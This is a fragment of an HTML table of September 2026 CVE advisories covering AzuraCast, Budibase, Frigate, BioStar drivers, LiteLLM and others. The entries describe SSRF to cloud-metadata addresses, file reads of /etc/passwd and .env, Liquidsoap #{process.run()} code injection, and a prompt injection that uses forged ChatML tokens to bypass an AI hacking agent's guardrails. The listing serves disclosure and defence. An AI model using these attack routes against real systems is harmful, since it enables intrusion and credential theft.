&lt;td class=&quot;vendor-product&quot;&gt;aureuserp--aureuserp&lt;/td&gt;
&lt;td&gt;Aureus ERP before 1.5.0 fails to scope message lookups to the current record in ChatterPanel, allowing authenticated users to access arbitrary messages. Attackers can submit sequential message IDs to read, edit, delete, or pin messages from other departments or companies, and enumerate all notes in the system.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95655&quot; target=&quot;_blank&quot;&gt;CVE-2026-95655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--pgcollection&lt;/td&gt;
&lt;td&gt;pgcollection is an open source extension to PostgreSQL. A type confusion issue in AWS pgcollection 2.0.0 through 2.1.1 might allow an authenticated remote user to execute arbitrary code as the postgres operating system user via crafted SQL statements that rely on mismatched type metadata in collection value retrieval and array conversion functions. To remediate this issue, users should upgrade to version 2.1.2 or later.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96883&quot; target=&quot;_blank&quot;&gt;CVE-2026-96883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--s2n-quic&lt;/td&gt;
&lt;td&gt;Improper validation of the Destination Connection ID length in s2n-quic 1.88.0 and earlier may allow an unauthenticated remote user to cause a denial of service by shutting down a server endpoint via a single crafted UDP datagram. Only server endpoints specifically configured to send Retry packets are affected. To remediate this issue, users should upgrade to version v1.89.0 or later.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94450&quot; target=&quot;_blank&quot;&gt;CVE-2026-94450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;azu--request-filtering-agent&lt;/td&gt;
&lt;td&gt;request-filtering-agent is an http(s).Agent implementation that blocks requests to Private/Reserved IP addresses. Prior to 3.2.1, RequestFilteringHttpAgent and RequestFilteringHttpsAgent synchronously threw from createConnection when rejecting a literal private-IP host such as 169.254.169.254 or 127.0.0.1. Because Node.js http.request and http.get expect connection failures to be delivered asynchronously, the throw bypassed req.on(&#039;error&#039;) and became an uncaught exception that could terminate the application process. Hostnames resolved through the asynchronous lookup path were not affected by this error-delivery asymmetry. This issue is fixed in version 3.2.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62985&quot; target=&quot;_blank&quot;&gt;CVE-2026-62985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.8 contains a command injection vulnerability in the Liquidsoap config generation for live recording that fails to quote the streamer username in process.run calls. Authenticated station users with Streamers and Profile permissions can set a username containing shell metacharacters and trigger command execution as the Liquidsoap process user when recording closes.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100852&quot; target=&quot;_blank&quot;&gt;CVE-2026-100852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100856&quot; target=&quot;_blank&quot;&gt;CVE-2026-100856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100857&quot; target=&quot;_blank&quot;&gt;CVE-2026-100857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.8 contains a DQL injection vulnerability in the sortOrder API parameter of AbstractSearchableListAction.php. Attackers can inject arbitrary DQL expressions through the sortOrder parameter to extract sensitive database information including user credentials and station settings.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100847&quot; target=&quot;_blank&quot;&gt;CVE-2026-100847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast (Composer package azuracast/azuracast) before 0.23.8 validates a station&#039;s &quot;Remote Relay&quot; URL only for URL syntax and an http/https scheme (Utilities\Urls::parseUserUrl, used by StationRemote::getUrlAsUri) and performs no host or IP address restriction. A user holding only the station-scoped RemoteRelays permission can therefore set a Remote Relay URL pointing at loopback, private-network, or cloud-metadata addresses (e.g. http://127.0.0.1:&amp;lt;port&amp;gt;/ or http://169.254.169.254/latest/meta-data/), and AzuraCast&#039;s periodic background Now Playing sync (AbstractRemote::getNowPlayingAsync) will automatically and repeatedly issue HTTP requests to that address, resulting in server-side request forgery against internal resources. This affects the main branch as of commit bcf8754eef3a268ad82c3db4d81f7920c3c28b56 (2026-07-31); no patched version is available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100848&quot; target=&quot;_blank&quot;&gt;CVE-2026-100848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast is a self-hosted web radio management suite. In AzuraCast before 0.23.8, the station webhook URL validation in AbstractConnector::getValidUrl() (backend/src/Webhook/Connector/AbstractConnector.php), used by the Generic and Discord webhook connectors, rejects only URLs whose host is a literal link-local IP address (169.254.0.0/16 or fe80::/10). Loopback addresses and RFC1918 private ranges are not rejected, and any non-literal-IP hostname causes the IP parsing call to throw, which skips the check entirely. A user holding only the station-scoped WebHooks permission can therefore configure a webhook pointing at an internal, loopback, or private-network target and cause the server to issue an outbound HTTP POST containing the station&#039;s Now Playing data, resulting in server-side request forgery. The PUT /station/{id}/webhook/{id}/test endpoint allows the same low-privileged user to trigger the request on demand. At the time of the advisory no patched version was available.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100849&quot; target=&quot;_blank&quot;&gt;CVE-2026-100849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.8 contains a server-side request forgery and local file read vulnerability in the AutoDJ remote playlist fetch (backend/src/Radio/AutoDJ/QueueBuilder.php, getMediaFromRemoteUrl()). A user with the station Media permission can create or update a playlist with source=remote_url and remote_type=playlist whose remote_url points at a file:// path or an internal/loopback/link-local HTTP endpoint. When AutoDJ builds the queue, the backend passes the user-supplied URL directly to file_get_contents() with no scheme allowlist and no private/loopback/metadata IP policy (PHP allow_url_fopen is enabled by default, including in the Docker image). Lines from the fetched resource are parsed as M3U/PLS entries, stored in StationQueue.autodj_custom_uri, and returned by GET /api/station/{station_id}/queue to any user with the Broadcasting permission, disclosing host files readable by the web container (for example /etc/passwd or the application .env) and the bodies of non-blind internal HTTP requests. No patched version was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100850&quot; target=&quot;_blank&quot;&gt;CVE-2026-100850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AzuraCast--AzuraCast&lt;/td&gt;
&lt;td&gt;AzuraCast before 0.23.8 contains a broken access control vulnerability in the GET /api/station/{id}/vue/profile endpoint that allows authenticated users with only View Station Page permission to read Icecast/Shoutcast admin, source, and relay passwords. Attackers with View-only access can call this endpoint and receive plaintext frontend credentials in the JSON response, then use the admin password to authenticate to the Icecast admin interface without Broadcasting permission.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100851&quot; target=&quot;_blank&quot;&gt;CVE-2026-100851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bdthemes--Live Copy Paste for Elementor&lt;/td&gt;
&lt;td&gt;Contributor SQL Injection in Live Copy Paste for Elementor &amp;lt;= 1.5.10 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93527&quot; target=&quot;_blank&quot;&gt;CVE-2026-93527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ben Roberts--Ultimeter&lt;/td&gt;
&lt;td&gt;Editor SQL Injection in Ultimeter &amp;lt;= 3.0.8 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95593&quot; target=&quot;_blank&quot;&gt;CVE-2026-95593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BerriAI--litellm&lt;/td&gt;
&lt;td&gt;BerriAI LiteLLM before 1.101.0-rc.1 contains a tenant isolation bypass vulnerability in the semantic cache layer that allows authenticated users to read other tenants&#039; cached responses by exploiting a metadata key mismatch between _get_semantic_cache_tenant_scope() and _get_metadata_variable_name(). Attackers holding a valid virtual key can submit semantically similar prompts on affected routes such as /v1/responses and /bedrock/* to retrieve cached responses containing other tenants&#039; personally identifiable information, financial data, or source code, and can cause agentic front-ends to auto-execute attacker-supplied tool calls under victim credentials by returning cached function_call or tool_calls payloads to a different principal.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89032&quot; target=&quot;_blank&quot;&gt;CVE-2026-89032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BioStar--BIOS Update Utility&lt;/td&gt;
&lt;td&gt;A vulnerability was found in BioStar BIOS Update Utility 1.9.7.3. This issue affects the function sub_110BC of the file BSMEM64_W10.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress/Size results in write-what-where condition. Attacking locally is a requirement. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94146&quot; target=&quot;_blank&quot;&gt;CVE-2026-94146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BioStar--Temperature Monitor Utility&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in BioStar Temperature Monitor Utility 1.2.1806.2200. Affected by this vulnerability is the function sub_1105C of the file BS_HWMIO64_W10.sys of the component IOCTL Handler. Such manipulation of the argument PhysicalAddress leads to write-what-where condition. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94142&quot; target=&quot;_blank&quot;&gt;CVE-2026-94142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BioStar--VALKYRIE AURORA&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in BioStar VALKYRIE AURORA 2.10.2411.0800. This vulnerability affects the function sub_1105C of the file BS_RVSIO64.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress results in write-what-where condition. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94129&quot; target=&quot;_blank&quot;&gt;CVE-2026-94129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BioStar--VIVID LED DJ&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in BioStar VIVID LED DJ 4.0.2411.1500. This affects the function sub_1105C of the file BS_LED64.sys of the component IOCTL Handler. The manipulation of the argument AssociatedIrp leads to write-what-where condition. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94128&quot; target=&quot;_blank&quot;&gt;CVE-2026-94128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BitterSecurity--Decepticon&lt;/td&gt;
&lt;td&gt;Decepticon is an autonomous hacking agent for red teams. Versions prior to 1.1.17 wrap web crawl results - the output of agent reconnaissance against target services - into LLM messages without neutralizing ChatML special-token literals. Under the BYOK (Bring Your Own Key) deployment model, users configure their own LLM credentials to any OpenAI-compatible endpoint. Most open-source and self-deployed model providers (vLLM, SGLang, Ollama, LM Studio, text-generation-webui, etc.) do not filter special-token literals from user content in their default configurations. Those literals are parsed into structural role-boundary token IDs, meaning an attacker string planted in a target web page forges a new operator turn the model treats as authoritative, bypassing Decepticon&#039;s agent guardrails and resulting in arbitrary command execution inside the Kali Linux sandbox. Version 1.1.17 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61732&quot; target=&quot;_blank&quot;&gt;CVE-2026-61732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;blakeblackshear--frigate&lt;/td&gt;
&lt;td&gt;Frigate is an open source network video recorder. Prior to 0.17.2, the WebSocket handler in frigate/comms/ws.py forwards attacker-selected message topics to the dispatcher without checking the authenticated user&#039;s role because the nginx authentication subrequest does not provide role-aware authorization to the handler. Any authenticated viewer can send admin-only topics such as restart, notifications/set, and camera detection, recording, snapshot, audio, motion, and enablement settings, causing service restarts or disabling security monitoring functions. Authentication must be enabled and valid viewer credentials are required. This issue is fixed in version 0.17.2.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75607&quot; target=&quot;_blank&quot;&gt;CVE-2026-75607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;blakeblackshear--frigate&lt;/td&gt;
&lt;td&gt;Frigate is an open source network video recorder. Prior to 0.18.0, the prefix-matched location /api/go2rtc/api in docker/main/rootfs/usr/local/nginx/conf/nginx.conf requires authentication but does not require an administrator role for GET requests, exposing the proxied go2rtc API to viewer users. An authenticated viewer can request the streams, config, log, and stack subpaths to obtain internal addresses, configuration paths, application logs, goroutine stack data, and RTSP stream URLs that may contain camera credentials. Non-GET methods remain blocked by limit_except GET. This issue is fixed in version 0.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75608&quot; target=&quot;_blank&quot;&gt;CVE-2026-75608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bleachbit--bleachbit&lt;/td&gt;
&lt;td&gt;BleachBit cleans files to free disk space and to maintain privacy. Prior to 6.0.1, privileged Windows cleaning does not lock and validate a target&#039;s parent directory before deletion. A local unprivileged user can replace that directory with a Windows junction and use a native symlink to redirect the elevated deletion to an attacker-selected file. The arbitrary privileged file deletion can be combined with Windows Installer behavior to obtain local SYSTEM privileges. This issue is fixed in version 6.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55567&quot; target=&quot;_blank&quot;&gt;CVE-2026-55567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bmarshall511--Zero Spam for WordPress&lt;/td&gt;
&lt;td&gt;The Zero Spam for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Nested POST Array Keys via Contact Form 7 Integration in all versions up to, and including, 5.7.10 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload is delivered by submitting a Contact Form 7 request with a nested POST array key containing arbitrary HTML or JavaScript - PHP parses the field name into a nested array key, which is stored verbatim in the zerospam_log.submission_data column when Zero Spam flags the submission as spam due to the absence of the zerospam_david_walsh_key field.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96752&quot; target=&quot;_blank&quot;&gt;CVE-2026-96752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bookingalgorithms--BA Book Everything&lt;/td&gt;
&lt;td&gt;The BA Book Everything plugin for WordPress is vulnerable to Stored Cross-Site Scripting via first_name Parameter in all versions up to, and including, 1.8.27 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. An unauthenticated attacker can obtain the valid order_id, order_num, and order_hash credentials required to reach the vulnerable action_to_pay() handler simply by placing a guest booking through the public [babe-booking-form] shortcode, making the full exploit chain reachable without any account.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96039&quot; target=&quot;_blank&quot;&gt;CVE-2026-96039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware accepts a reusable authentication value without adequately verifying its freshness or association with the requesting client. An unauthenticated attacker with adjacent network access who captures a valid authentication value could replay it from another client to establish an authenticated session and access privileged device functionality.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77967&quot; target=&quot;_blank&quot;&gt;CVE-2026-77967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware does not adequately verify the authenticity of firmware updates. The update process retrieves firmware through an unprotected connection and relies on an integrity value supplied with the firmware instead of a trusted cryptographic signature. A suitably positioned attacker who intercepts a firmware download, or an authenticated attacker who submits a crafted update, could install modified firmware and execute unauthorized code on the device.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81630&quot; target=&quot;_blank&quot;&gt;CVE-2026-81630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains a session management vulnerability in which authentication state can remain valid after the associated client connection has been terminated or replaced. Under certain connection conditions, a newly established connection can displace an existing client while previously established session state remains active until a separate expiration mechanism invalidates it. An unauthenticated attacker with adjacent network access could potentially take advantage of this residual authentication state to access functionality associated with another client&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82566&quot; target=&quot;_blank&quot;&gt;CVE-2026-82566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware contains an authorization vulnerability in its session based command functionality. The product does not sufficiently associate an authenticated session with the client connection that established it, and subsequent privileged operations rely on possession of a valid session identifier without adequately validating the requesting client&#039;s authenticated context. An unauthenticated attacker with adjacent network access could potentially use valid session state associated with another client to access privileged functionality.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84399&quot; target=&quot;_blank&quot;&gt;CVE-2026-84399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botslab--G980H&lt;/td&gt;
&lt;td&gt;The Botslab G980H dash camera firmware generates session identifiers using a small sequential value space rather than a suitably unpredictable source. An unauthenticated attacker with adjacent network access and knowledge that an active session exists could potentially determine a valid session identifier and use it to bypass intended authorization controls.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85496&quot; target=&quot;_blank&quot;&gt;CVE-2026-85496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase versions before 3.45.0 fail to disable external JSON reference resolution in the OpenAPI/Swagger import validator, allowing authenticated builders to read arbitrary local files. Attackers with builder access can embed file:// references in OpenAPI specifications submitted to the import endpoint to exfiltrate sensitive files including environment variables containing JWT secrets, API keys, and database credentials.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100680&quot; target=&quot;_blank&quot;&gt;CVE-2026-100680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase Server before 3.45.0 contains an arbitrary file write vulnerability in the PWA icon upload endpoint that extracts user-supplied ZIP archives without proper symlink validation. Attackers with BUILDER role can craft a malicious ZIP with leaf symlink entries followed by duplicate file entries to write arbitrary files as root, enabling remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100682&quot; target=&quot;_blank&quot;&gt;CVE-2026-100682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase (@budibase/server) before 3.45.0 builds MySQL and MSSQL column-rename DDL in packages/backend-core/src/sql/sqlTable.ts by interpolating identifiers directly into a raw query string (backtick-quoted for MySQL, a single-quoted sp_rename literal for MSSQL) without applying the project&#039;s quoteMySqlIdentifier / quoteSqlServerIdentifier helpers. An attacker with DDL rights on a connected MySQL/MSSQL datasource can create a column whose name contains a backtick (MySQL) or single quote (MSSQL) plus additional SQL; Budibase&#039;s schema introspection stores the name verbatim, and when a Budibase builder later renames that column through the UI (POST /api/tables with _rename.old), the embedded quote character terminates the identifier and the injected SQL is executed. Because the MySQL connection is opened with multipleStatements: true, stacked statements run as Budibase&#039;s datasource user, allowing arbitrary reads, writes, or destructive operations on the connected database outside Budibase&#039;s row/table permission model. Fixed in 3.45.0.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100683&quot; target=&quot;_blank&quot;&gt;CVE-2026-100683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase versions 3.41.0 before 3.45.0 contain an authentication bypass in the OIDC/SSO login path of @budibase/server. In sso.authenticate, when no existing user matches the incoming SSO subject, the server looks up pending user invites by the IdP-asserted email address alone - without validating an invite code and without an email_verified check (the email_verified gate protects only the existing-account lookup). An attacker who can register at an IdP that the tenant trusts for OIDC and assert a victim&#039;s invited email address (even with email_verified=false) claims the pending invite and inherits all of its granted privileges, including builder and admin.global, with no admin exclusion. This results in takeover of the invited principal and, for admin invites, full tenant compromise (access to all apps, datasources including production credentials, and automations); the invite is consumed, denying onboarding to the legitimate invitee.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100684&quot; target=&quot;_blank&quot;&gt;CVE-2026-100684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase versions before 3.45.0 fail to validate per-app authorization in the POST /api/global/groups/:groupId/apps endpoint, allowing builders to assign application roles across workspace boundaries. A builder of a single workspace can exploit missing per-app authorization checks to grant themselves admin roles in other workspaces by modifying user group role mappings.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100686&quot; target=&quot;_blank&quot;&gt;CVE-2026-100686&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;budibase--server&lt;/td&gt;
&lt;td&gt;Budibase before 3.45.0 fails to properly scope the GET /api/chat-links endpoint by workspace, allowing builders to enumerate chat identity link records across all workspaces in a tenant. Attackers with builder access to a single workspace can retrieve sensitive chat identity linking data including user IDs and external chat service identifiers from other workspaces they have no permission to access.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
